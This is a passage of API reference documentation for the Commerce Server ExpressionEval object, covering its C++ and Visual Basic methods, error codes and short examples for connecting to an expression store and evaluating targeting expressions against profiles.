Header File: | ExprArchDLL.h, exprarch.h, mspu_guids.h
[C++]

In C++, the properties and methods of the ExpressionEval object are accessed through the IExpressionEval interface.

Methods

[C++]
Method | Description
Connect | Establishes communication between the ExpressionEval object and an expression store.
CreateEvalContext | Creates a new ExprEvalContext object in the context cache.
Eval | Evaluates an expression.
EvalInContext | Evaluates an expression in a context previously loaded into the context cache.
EvalXML | Evaluates the specified XML text as an expression.
FlushAll | Removes all expressions from the expression cache.
FlushExpr | Removes the specified expression from the expression cache.
LoadAll | Reads all expressions from the expression store and loads them into the expression cache.
LoadExpr | Reads the specified expression from the expression store and loads it into the expression cache.
ParseXML | Parses the specified XML text to determine if it represents a valid expression.
[Visual Basic]
Method | Description
Connect | Establishes communication between the ExpressionEval object and an expression store.
CreateEvalContext | Creates a new ExprEvalContext object in the context cache.
Eval | Evaluates an expression.
EvalInContext | Evaluates an expression in a context previously loaded into the context cache.
EvalXML | Evaluates the specified XML text as an expression.
FlushAll | Removes all expressions from the expression cache.
FlushExpr | Removes the specified expression from the expression cache.
LoadAll | Reads all expressions from the expression store and loads them into the expression cache.
LoadExpr | Reads the specified expression from the expression store and loads it into the expression cache.
ParseXML | Parses the specified XML text to determine if it represents a valid expression.

Properties

[C++]
Property | Type | Description
ExprCount | long | Retrieves the number of expressions loaded into the expression cache. This property is read-only.
[Visual Basic]
Property | Type | Description
ExprCount | Long | Retrieves the number of expressions loaded into the expression cache. This property is read-only.

Remarks

Expressions are stored in a database referred to as the Expression Store and accessed through an ExpressionStore object. When it is created, the ExpressionEval object initializes an expression cache and a context cache. Expressions must be compiled and loaded into the expression cache before being evaluated. To improve evaluation performance, use the LoadExpr or LoadAll method to preload expressions into the expression cache.

An expression is evaluated against data contained in a set of profiles. The profiles may be ProfileObject objects, Dictionary objects, or other objects that support property access through the IDispatch interface. The set of profiles is referred to as an evaluation context. If an evaluation context will be used across multiple expressions, create a stored context in the context cache using the CreateEvalContext method to increase efficiency.

The Connect method must be called before loading or evaluating expressions.

See Also

[C++] Targeting Objects

[C++] Expression Recordset

[C++] Expression XML Structures

[C++] ExpressionStore Object

[C++] ProfileObject Object

[Visual Basic] Targeting Objects

[Visual Basic] Expression Recordset

[Visual Basic] Expression XML Structures

[Visual Basic] ExpressionStore Object

[Visual Basic] ProfileObject Object


IExpressionEval Methods [C++]

ExpressionEval Methods [Visual Basic]

Methods

[C++]
Method | Description
Connect | Establishes communication between the ExpressionEval object and an expression store.
CreateEvalContext | Creates a new ExprEvalContext object in the context cache.
Eval | Evaluates an expression.
EvalInContext | Evaluates an expression in a context previously loaded into the context cache.
EvalXML | Evaluates the specified XML text as an expression.
FlushAll | Removes all expressions from the expression cache.
FlushExpr | Removes the specified expression from the expression cache.
LoadAll | Reads all expressions from the expression store and loads them into the expression cache.
LoadExpr | Reads the specified expression from the expression store and loads it into the expression cache.
ParseXML | Parses the specified XML text to determine if it represents a valid expression.
[Visual Basic]
Method | Description
Connect | Establishes communication between the ExpressionEval object and an expression store.
CreateEvalContext | Creates a new ExprEvalContext object in the context cache.
Eval | Evaluates an expression.
EvalInContext | Evaluates an expression in a context previously loaded into the context cache.
EvalXML | Evaluates the specified XML text as an expression.
FlushAll | Removes all expressions from the expression cache.
FlushExpr | Removes the specified expression from the expression cache.
LoadAll | Reads all expressions from the expression store and loads them into the expression cache.
LoadExpr | Reads the specified expression from the expression store and loads it into the expression cache.
ParseXML | Parses the specified XML text to determine if it represents a valid expression.


IExpressionEval::Connect Method [C++]

ExpressionEval.Connect Method [Visual Basic]

Use this method to establish communication with an expression store.

Definition

[C++]
HRESULT IExpressionEval::Connect(
 VARIANT vConnectInfo
);
[Visual Basic]
Sub Connect(
 vConnectInfo As Variant
)

Parameters

vConnectInfo [C++]
[in] A VARIANT that describes the expression store connection data. This may be a BSTR containing the connection information or a pointer to an existing ExpressionStore object.
vConnectInfo [Visual Basic]
[in] A Variant that describes the expression store connection information. This may be a String containing the connection information or a reference to an existing ExpressionStore object.

Return Values

[C++]

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic]

None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRSTORE | [C++] 0x8110001E [Visual Basic] &H8110001E | Specified database does not contain a valid expression store
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_STOREPERMISSIONS | [C++] 0x8110000F [Visual Basic] &H8110000F | Insufficient access permissions on the expression store database

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If a connection string is passed as the input parameter, the ExpressionEval object creates an ExpressionStore object that uses the connection string to access the expression store. Upon destruction, the ExpressionEval object destroys the ExpressionStore object.

The connection string for the expression store may be obtained through the SiteConfigReadOnly object or through the Commerce Server Manager console from the s_BizDataStoreConnectionString property under the key "Commerce Server Manager\Global Resources\Profiles".

The Connect method must be used before loading or evaluating expressions.

The ParseXML method and the flush methods may be used without connecting to an expression store.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Connect through an existing ExpressionStore object.

oExpressionEval.Connect oExpressionStore

' Connect using an explicit connection string.

oExpressionEval.Connect "Provider=SQLOLEDB;Data Source=server;" _
& "Initial Catalog=Retail_commerce;Integrated Security='SSPI'"

' Connect using a string retrieved from the SiteConfigReadOnly object.
' sConn is a String, oSCRO is an initialized SiteConfigReadOnly object.

sConn = oSCRO.Fields("Biz Data Service").Value _
 .Fields("s_BizDataStoreConnectionString").Value
oExpressionEval.Connect sConn

See Also

[C++] ExpressionEval Object

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] SiteConfigReadOnly Object

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] SiteConfigReadOnly Object


IExpressionEval::CreateEvalContext Method [C++]

ExpressionEval.CreateEvalContext Method [Visual Basic]

Use this method to create a new ExprEvalContext object and place it into the context cache. This allows evaluation of multiple expressions against the same set of profile objects in the most efficient manner possible.

Definition

[C++]
HRESULT IExpressionEval::CreateEvalContext(
 IDictionary* pDictObjs,
 IExprEvalContext** ppContext
);
[Visual Basic]
Function CreateEvalContext(
 pDictObjs As Object
) As Object

Parameters

pDictObjs [C++]
[in] A pointer to the IDictionary interface of a Dictionary object that contains the set of profiles to be cached.
pDictObjs [Visual Basic]
[in] A Dictionary object that contains the set of profiles to be cached.
ppContext [C++]
[out, retval] The address of the pointer to the IExprEvalContext interface of the newly created ExprEvalContext object.

Return Values

[C++]

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic]

If this method completes successfully, it returns the newly created ExprEvalContext object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The CreateEvalContext method creates an ExprEvalContext object that uniquely identifies a new evaluation context and stores the object in the context cache. Use the EvalInContext method to evaluate multiple expressions within the context defined by the ExprEvalContext object. This process is more efficient than using the Eval method which generates and destroys a new context for each expression evaluated.

A context is a set of profiles containing data to evaluate expressions against. Profiles may be ProfileObject objects, Dictionary objects, or other objects that support property access through the IDispatch interface. Initially only references to the profile objects are held in the context cache. During evaluation, when property values are read from the profiles, the property values may themselves be held in the cache for faster access during subsequent evaluations.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppContext parameter contains valid data only if the method completes successfully.

Caution

  • The state of the profile objects should not be externally changed during the lifetime of the ExprEvalContext object; doing so leads to non-deterministic evaluation results.
[Visual Basic]

Example

' dictUser1, dictAddress1, & dictProfiles are Dictionary objects
' create 2 profiles

dictUser1.firstName = "Joe"
dictUser1.lastName = "User"
dictAddress1.city = "Somewhere"
dictAddress1.state = "WA"

' add the profiles to the context Dictionary

dictProfiles.User = dictUser1
dictProfiles.Address = dictAddress1

' create the evaluation context

oExprEvalContext = oExpressionEval.CreateEvalContext(dictProfiles)

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::EvalInContext

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.EvalInContext


IExpressionEval::Eval Method [C++]

ExpressionEval.Eval Method [Visual Basic]

Use this method to evaluate an expression.

Definition

[C++]
HRESULT IExpressionEval::Eval(
 long nExprID,
 IDictionary* pDictObjs,
 VARIANT* pvResult
);
[Visual Basic]
Function Eval(
 nExprID As Long,
 pDictObjs As Object
) As Variant

Parameters

nExprID [C++]
[in] A long that contains the unique identifier for the expression in the expression store.
nExprID [Visual Basic]
[in] A Long that contains the unique identifier for the expression in the expression store.
pDictObjs [C++]
[in] A pointer to the IDictionary interface of a Dictionary object that contains a set of profiles.
pDictObjs [Visual Basic]
[in] A Dictionary object that contains a set of profiles.
pvResult [C++]
[out, retval] A pointer to a VARIANT indicating the result of evaluating the expression in the given context.

Return Values

[C++] This method returns an HRESULT indicating whether the method completed successfully. See the Error Values section for more details. The result of evaluating the expression is contained in the pvResult parameter. The result may be TRUE, FALSE, or NULL. NULL indicates the expression could not be evaluated.

[Visual Basic] This method returns a Variant indicating the result of evaluating the expression in the specified context. The result may be True, False, or Nothing. Nothing indicates the expression could not be evaluated.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors, and the standard COM errors with special meanings, that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_NOTFOUND | [C++] 0x81100012 [Visual Basic] &H81100012 | Could not find the specified expression ID, nExprID, in the expression store

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Expressions must be pre-compiled and loaded into the expression cache before being evaluated. The Eval method first checks the expression cache for the expression, and if not found, loads the expression from the expression store. Use the LoadExpr or LoadAll method to preload an expression into the expression cache and improve evaluation performance.

An expression is evaluated against data contained in a set of profiles. This set of profiles is referred to as an evaluation context. A new evaluation context is generated by the Eval method using the Dictionary object. The Eval method discards the new context after completing the evaluation. This process is not efficient if many expressions must be evaluated against the same context.

If an evaluation context will be used across multiple expressions, create a context in the context cache using the CreateEvalContext method. Use the EvalInContext method to evaluate expressions in this new common context.

The Connect method must be called before using the Eval method.

[C++]

The pvResult parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dictUser1, dictAddress1, & dictProfiles are Dictionary objects
' create 2 profiles

dictUser1.firstName = "Joe"
dictUser1.lastName = "User"
dictAddress1.city = "Somewhere"
dictAddress1.state = "WA"

' add the profiles to the context Dictionary

dictProfiles.User = dictUser1
dictProfiles.Address = dictAddress1

' evaluate the expression, vResult is a Variant

vResult = oExpressionEval.Eval(2134, dictProfiles)

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::Connect

[C++] IExpressionEval::CreateEvalContext

[C++] IExpressionEval::EvalInContext

[C++] IExpressionEval::LoadExpr

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.Connect

[Visual Basic] ExpressionEval.CreateEvalContext

[Visual Basic] ExpressionEval.EvalInContext

[Visual Basic] ExpressionEval.LoadExpr


IExpressionEval::EvalInContext Method [C++]

ExpressionEval.EvalInContext Method [Visual Basic]

Use this method to evaluate an expression against a pre-established context stored in the context cache.

Definition

[C++]
HRESULT IExpressionEval::EvalInContext(
 long nExprID,
 IExprEvalContext* pContext,
 VARIANT* pvResult
);
[Visual Basic]
Function EvalInContext(
 nExprID As Long,
 pContext As Object
) As Variant

Parameters

nExprID [C++]
[in] A long that contains the unique identification of the expression in the expression store.
nExprID [Visual Basic]
[in] A Long that contains the unique identification of the expression in the expression store.
pContext [C++]
[in] A pointer to an IExprEvalContext interface of an ExprEvalContext object that identifies the specific context for this evaluation.
pContext [Visual Basic]
[in] An ExprEvalContext object that identifies the specific context for this evaluation.
pvResult [C++]
[out, retval] A pointer to a VARIANT indicating the result of the expression evaluated in the specified context.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details. The result of evaluating the expression is contained in the pvResult parameter. This result may be TRUE, FALSE, or NULL. NULL indicates the expression could not be evaluated.

[Visual Basic] This method returns a Variant indicating the results of evaluating the expression in the specified context. This result may be True, False, or Nothing. Nothing indicates the expression could not be evaluated.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors, and the standard COM errors with special meanings, that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_MISSINGPROP | [C++] 0x8110001D [Visual Basic] &H8110001D | Invalid ExprEvalContext object
E_EXPR_NOTFOUND | [C++] 0x81100012 [Visual Basic] &H81100012 | Could not find the specified expression ID, nExprID, in the expression store

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Eval method creates and discards an evaluation context for every evaluation. Evaluating against a stored context optimizes performance when multiple expressions need to be evaluated in the same context. Create the context for evaluation using the CreateEvalContext method.

Expression results are also stored in the context cache. If the result of a particular expression is requested multiple times from the same ExprEvalContext object using the EvalInContext method, the result is retrieved from the cache rather than by re-evaluating the expression, further increasing efficiency.

Caution

  • The state of the profile objects that comprise the context should not be externally changed during the lifetime of the ExprEvalContext object; doing so leads to non-deterministic evaluation results.

The Connect method must be called before using the EvalInContext method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pvResult parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oEvalContext is an ExprEvalContext object
' vResult is a Variant

vResult = oExpressionEval.Eval(2134, oEvalContext)

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::Connect

[C++] IExpressionEval::CreateEvalContext

[C++] IExpressionEval::Eval

[C++] IExpressionEval::LoadExpr

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.Connect

[Visual Basic] ExpressionEval.CreateEvalContext

[Visual Basic] ExpressionEval.Eval

[Visual Basic] ExpressionEval.LoadExpr


IExpressionEval::EvalXML Method [C++]

ExpressionEval.EvalXML Method [Visual Basic]

Use this method to evaluate an expression represented as an Extensible Markup Language (XML) fragment.

Definition

[C++]
HRESULT IExpressionEval::EvalXML(
 BSTR bstrXMLExpr,
 IDictionary* pDictObjs,
 VARIANT* pvResult
);
[Visual Basic]
Function EvalXML(
 bstrXMLExpr As String,
 DictObjs As Object
) As Variant

Parameters

bstrXMLExpr [C++]
[in] A BSTR that contains the XML fragment to be evaluated.
btrXMLExpr [Visual Basic]
[in] A String that contains the XML fragment to be evaluated.
pDictObjs [C++]
[in] A pointer to the IDictionary interface of a Dictionary object that contains a set of profiles.
DictObjs [Visual Basic]
[in] A Dictionary object that contains a set of profiles.
pvResult [C++]
[out, retval] A pointer to a VARIANT indicating the results of evaluating the expression in the specified context.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details. The result of evaluating the expression is contained in the pvResult parameter. The result may be TRUE, FALSE, or NULL. NULL indicates the expression could not be evaluated.

[Visual Basic] This method returns a Variant indicating the results of evaluating the expression in the specified context. This result may be True, False, or Nothing. Nothing indicates the expression could not be evaluated.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADARGTYPE | [C++] 0x81100018 [Visual Basic] &H81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
E_EXPR_BADARGVALUE | [C++] 0x81100022 [Visual Basic] &H81100022 | Invalid expression argument value, or impossible conversion
E_EXPR_BADCLAUSE | [C++] 0x81100016 [Visual Basic] &H81100016 | Invalid clause encountered
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADOPER | [C++] 0x81100017 [Visual Basic] &H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
E_EXPR_BADTERM | [C++] 0x81100015 [Visual Basic] &H81100015 | Term type missing, or unrecognized term type encountered
E_EXPR_BADXML | [C++] 0x81100014 [Visual Basic] &H81100014 | An unrecognized XML element was encountered
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_XMLPARSE | [C++] 0x81100013 [Visual Basic] &H81100013 | XML DOM object parsing error

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The XML is parsed before being evaluated. For information on the XML format, see Expression XML Structures.

Expressions evaluated with the EvalXML method are not persistent; that is, they are not stored in the expression store or loaded into the expression cache. Use the Eval method to evaluate persistent expressions.

A new ExprEvalContext object is created and then discarded for each XML fragment that is evaluated.

The Connect method must be called before using the EvalXML method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pvResult parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' sXMLExpr is a string.
' Note that this string is not formatted properly with respect to
' quotation marks or continuation in order to increase readability.

strXMLExpr = "<CLAUSE OPER="equal">
                  <PROPERTY ID="User.firstName" TYPE="string" />
                  <IMMED-VAL TYPE="string">Jill</IMMED-VAL>
              </CLAUSE>"

' vResult is a Variant
' dictProfiles is a Dictionary object containing a set of profiles

vResult = oExpressionEval.EvalXML(sXMLExpr, dictProfiles)

See Also

[C++] Expression Recordset

[C++] Expression XML Structures

[C++] ExpressionEval Object

[C++] IExpressionEval::Connect

[C++] IExpressionEval::Eval

[C++] IExpressionEval::ParseXML

[Visual Basic] Expression Recordset

[Visual Basic] Expression XML Structures

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.Connect

[Visual Basic] ExpressionEval.Eval

[Visual Basic] ExpressionEval.ParseXML


IExpressionEval::FlushAll Method [C++]

ExpressionEval.FlushAll Method [Visual Basic]

Use this method to remove all expressions from the expression cache.

Definition

[C++]
HRESULT IExpressionEval::FlushAll(
);
[Visual Basic]
Sub FlushAll()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The FlushAll method removes all expressions from the expression cache and resets the read-only ExprCount property to zero (0).

Use the FlushExpr method to remove a specific expression from the expression cache.

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::get_ExprCount

[C++] IExpressionEval::FlushExpr

[C++] IExpressionEval::LoadAll

[C++] IExpressionEval::LoadExpr

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.ExprCount

[Visual Basic] ExpressionEval.FlushExpr

[Visual Basic] ExpressionEval.LoadAll

[Visual Basic] ExpressionEval.LoadExpr


IExpressionEval::FlushExpr Method [C++]

ExpressionEval.FlushExpr Method [Visual Basic]

Use this method to remove the specified expression from the expression cache.

Definition

[C++]
HRESULT IExpressionEval::FlushExpr(
 long nExprID
);
[Visual Basic]
Sub FlushExpr(
 nExprID As Long
)

Parameters

nExprID [C++]
[in] A long that contains the identifier of the expression to be removed from the expression cache.
nExprID [Visual Basic]
[in] A Long that contains the identifier of the expression to be removed from the expression cache.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The FlushExpr method removes the specified expression from the expression cache and decrements the read-only ExprCount property by one (1).

Use the FlushAll method to remove all expressions from the expression cache.

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::get_ExprCount

[C++] IExpressionEval::FlushAll

[C++] IExpressionEval::LoadAll

[C++] IExpressionEval::LoadExpr

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.ExprCount

[Visual Basic] ExpressionEval.FlushAll

[Visual Basic] ExpressionEval.LoadAll

[Visual Basic] ExpressionEval.LoadExpr


IExpressionEval::LoadAll Method [C++]

ExpressionEval.LoadAll Method [Visual Basic]

Use this method to pre-compile all expressions in the expression store. Each expression that pre-compiles correctly is loaded into the expression cache.

Definition

[C++]
HRESULT IExpressionEval::LoadAll(
);
[Visual Basic]
Sub LoadAll()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADARGTYPE | [C++] 0x81100018 [Visual Basic] &H81100018 | Argument data type infomation missing from expression, or unrecognized argument data type encountered in expression
E_EXPR_BADARGVALUE | [C++] 0x81100022 [Visual Basic] &H81100022 | Invalid expression argument value, or impossible conversion
E_EXPR_BADCLAUSE | [C++] 0x81100016 [Visual Basic] &H81100016 | Invalid clause encountered
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADOPER | [C++] 0x81100017 [Visual Basic] &H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
E_EXPR_BADTERM | [C++] 0x81100015 [Visual Basic] &H81100015 | Term type missing, or unrecognized term type encountered
E_EXPR_BADXML | [C++] 0x81100014 [Visual Basic] &H81100014 | An unrecognized XML element was encountered
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_XMLPARSE | [C++] 0x81100013 [Visual Basic] &H81100013 | XML DOM object parsing error

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Any expressions in the expression cache at the time of the call are reloaded.

If there are many expressions in the expression store, the LoadAll method may be slow. Use the LoadExpr method to load only specific expressions into the expression cache.

For every expression loaded into the expression cache, the LoadAll method increments the read-only ExprCount property by one (1).

Use the FlushAll method to remove all expressions from the expression cache.

The Connect method must be called before using the LoadAll method.

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::Connect

[C++] IExpressionEval::get_ExprCount

[C++] IExpressionEval::FlushAll

[C++] IExpressionEval::FlushExpr

[C++] IExpressionEval::LoadExpr

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.Connect

[Visual Basic] ExpressionEval.ExprCount

[Visual Basic] ExpressionEval.FlushAll

[Visual Basic] ExpressionEval.FlushExpr

[Visual Basic] ExpressionEval.LoadExpr


IExpressionEval::LoadExpr Method [C++]

ExpressionEval.LoadExpr Method [Visual Basic]

Use this method to pre-compile an expression, and if successful, load the expression into the expression cache.

Definition

[C++]
HRESULT IExpressionEval::LoadExpr(
 long nExprID
);
[Visual Basic]
Sub LoadExpr(
 nExprID As Long
)

Parameters

nExprID [C++]
[in] A positive long that contains the identifier of the expression to load into the expression cache.
nExprID [Visual Basic]
[in] A positive Long that contains the identifier of the expression to load into the expression cache.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADARGTYPE | [C++] 0x81100018 [Visual Basic] &H81100018 | Argument data type info missing from expression, or unrecognized argument data type encountered in expression
E_EXPR_BADARGVALUE | [C++] 0x81100022 [Visual Basic] &H81100022 | Invalid expression argument value, or impossible conversion
E_EXPR_BADCLAUSE | [C++] 0x81100016 [Visual Basic] &H81100016 | Invalid clause encountered
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified
E_EXPR_BADOPER | [C++] 0x81100017 [Visual Basic] &H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
E_EXPR_BADTERM | [C++] 0x81100015 [Visual Basic] &H81100015 | Term type missing, or unrecognized term type encountered
E_EXPR_BADXML | [C++] 0x81100014 [Visual Basic] &H81100014 | An unrecognized XML element was encountered
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_NOTFOUND | [C++] 0x81100012 [Visual Basic] &H81100012 | Could not find the specified expression ID, nExprID, in the expression store
E_EXPR_XMLPARSE | [C++] 0x81100013 [Visual Basic] &H81100013 | XML DOM object parsing error

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the specified expression is already loaded in the expression cache at the time of the call, it will be reloaded.

The LoadExpr method increments the read-only ExprCount property by one when it loads an expression into the expression cache.

With the exception of XML fragments, only expressions that exist in the expression cache may be evaluated. The Eval method loads an expression from the expression store that is not preloaded into the expression cache.

Use the LoadAll method to load all expressions into the expression cache. Use the FlushExpr method to remove an expression from the expression cache.

The Connect method must be called before using the LoadExpr method.

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::Connect

[C++] IExpressionEval::get_ExprCount

[C++] IExpressionEval::FlushAll

[C++] IExpressionEval::FlushExpr

[C++] IExpressionEval::LoadAll

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.Connect

[Visual Basic] ExpressionEval.ExprCount

[Visual Basic] ExpressionEval.FlushAll

[Visual Basic] ExpressionEval.FlushExpr

[Visual Basic] ExpressionEval.LoadAll


IExpressionEval::ParseXML Method [C++]

ExpressionEval.ParseXML Method [Visual Basic]

Use this method to check whether an Extensible Markup Language (XML) fragment is a syntactically correct expression.

Definition

[C++]
HRESULT IExpressionEval::ParseXML(
 BSTR bstrXMLExpr,
 VARIANT_BOOL* pbValid
);
[Visual Basic]
Function ParseXML(
